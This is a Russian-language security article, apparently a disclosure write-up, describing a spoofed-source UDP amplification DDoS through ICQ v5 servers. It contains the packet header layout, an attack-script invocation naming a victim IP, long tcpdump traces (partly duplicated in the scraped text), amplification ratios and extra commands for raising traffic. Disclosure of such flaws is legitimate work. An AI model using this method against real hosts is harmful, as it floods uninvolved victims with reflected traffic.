205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable Из дампов мы видим, что жертва отвечает на пакеты, полученные с ICMP недостижимым сообщением, но сервер игнорирует их и продолжает посылать ~11-12 повторений с задержкой 6 секунд, надеясь, что другая сторона его слышит. Эти пакеты служат, чтобы сообщить жертве, кто из его контактного списка в online. Подсчитывая мы видим, что отношение запроc/ответ примерно равно 330/10110, что соответствует увеличению 1:30. Сценарий: В предыдущей реализации, мы достигли намного не максимального умножения трафика, потому что нападающий использовал довольно короткий контактный список с 8 записями. xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 Однако, возможно послать список из 100 случайных активных пользователей, или списка наших специальных пользователей, которые постоянно находятся в online. xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 425 Это приведет к лучшему росту, чем линейный в предыдущем случае. 1: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 2: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 3: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) . . . 18: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 19: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 20: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) и в 10 раз больше, на каждые 20 пакетов... В этот раз коэффициент умножения стал равен 130. Это означает что нападающий может увеличивать этот коэффициент, постоянно ища активных пользователей или создавая и поддерживая их в активном состоянии. Другие сценарии: В других случаях чтобы увеличивать трафик мы можем дополнительно послать запросы поиска (CMD_SEARCH_UIN, CMD_SEARCH_USER), различные сообщения (CMD_SEND_MESSAGE) и квитируемые сообщения (CMD_ACK), так, чтобы таймаут 6 секунд выполнялся параллельно, и мы можем это использовать пока сервер думает что мы в online. Описанный выше способ может использоваться не только для DDoS нападений, но также и для быстрой регистрации множества UIN номеров от различных IP. "/>
Возможно использовать ICQ сервера для умножения трафика с коэффициентом 100 и даже больше. Это означает, что нападающий с полосой пропускания канала 38 Kbps может заполнять канал связи на 3.8 Mbps.
Известно, ЧТО ICQ использует UDP протокол как свой транспортный уровень. Область Каждый UDP пакет со стороны клиента начинается следующим заголовком ( HREF="http://www.securitylab.ru/document/icqv5.html">http://www.securitylab.ru/document/icqv5.html ):
Length Content Index
Description
2 bytes 05 00 VERSION
Protocol version
4 bytes 00 00 00 00 ZERO
Always zero
4 bytes xx xx xx xx UIN
Your UIN
4 bytes xx xx xx xx SESSION_ID Used to prevent spoofing
2 bytes xx xx COMMAND Command
2 bytes xx xx SEQ_NUM1 Sequence
inits with a random number
2 bytes xx xx SEQ_NUM2 Inits with
1 (!)
4 bytes xx xx xx xx CHECKCODE
variable xx ... PARAMETERS Parameters
(все пакеты со стороны клиента шифруются а со стороны сервера - нет, подробнее
HREF="http://www.securitylab.ru/document/encrypt-V5.txt">
http://www.securitylab.ru/document/encrypt-V5.txt
)
SEQ_NUM1 инициализирован со случайным числом и увеличивается с каждым пакетом на 1 (!) (то есть если первый пакет содержит SEQ_NUM1=123, тогда следующий будет иметь SEQ_NUM1=124).
SEQ_NUM1 инициализирован в 1, и увеличивается на 1с каждым пакетом, если не определено другое значение (то есть установка SEQ_NUM2 = 0 при посылке CMD_KEEP_ALIVE)
SESSION_ID - случайное число, которое должно быть постоянным для каждого пакета текущего сеанса, иначе они игнорируются сервером. Кроме того, пакеты сервера отмечены тем же самым значением, чтобы предотвратить имитацию.
Нападение заключается в том, что соединяясь с сервером как зарегистрированный пользователь/пользователи, мы подменяем исходный адрес жертвы (желательно, но не обходимо поле "Our IP" в заголовке команды CMD_LOGIN). Этим, мы переадресовываем трафик ответа сервера жертве (это возможно не только из-за слабости UDP протокола, но также и из-за предсказуемости правил последовательности SEQ_NUM1 и SEQ_NUM2). Все эти факты – ядро для формирования нападения.
Реализация:
Чтобы проверить нападение, напишите perl сценарий, который вслепую пошлет пакеты, один за другим с некоторой задержкой. В результате чего получим:
% perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027 (yy.yy.yy.22 – IP жертвы; 1027 порт)
tcpdump атакующего:
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 80 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 28 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 53
tcpdump жертвы:
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 41 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable
Из дампов мы видим, что жертва отвечает на пакеты, полученные с ICMP недостижимым сообщением, но сервер игнорирует их и продолжает посылать ~11-12 повторений с задержкой 6 секунд, надеясь, что другая сторона его слышит. Эти пакеты служат, чтобы сообщить жертве, кто из его контактного списка в online.
Подсчитывая мы видим, что отношение запроc/ответ примерно равно 330/10110, что соответствует увеличению 1:30.
Сценарий:
В предыдущей реализации, мы достигли намного не максимального умножения трафика, потому что нападающий использовал довольно короткий контактный список с 8 записями.
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57
Однако, возможно послать список из 100 случайных активных пользователей, или списка наших специальных пользователей, которые постоянно находятся в online.
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 425
Это приведет к лучшему росту, чем линейный в предыдущем случае.
1: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
2: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
3: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
.
.
.
18: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
19: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
20: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
и в 10 раз больше, на каждые 20 пакетов...
В этот раз коэффициент умножения стал равен 130. Это означает что нападающий может увеличивать этот коэффициент, постоянно ища активных пользователей или создавая и поддерживая их в активном состоянии.
Другие сценарии:
В других случаях чтобы увеличивать трафик мы можем дополнительно послать запросы поиска (CMD_SEARCH_UIN, CMD_SEARCH_USER), различные сообщения (CMD_SEND_MESSAGE) и квитируемые сообщения (CMD_ACK), так, чтобы таймаут 6 секунд выполнялся параллельно, и мы можем это использовать пока сервер думает что мы в online.
Описанный выше способ может использоваться не только для DDoS нападений, но также и для быстрой регистрации множества UIN номеров от различных IP.
Большой взрыв знаний каждый день в вашем телефоне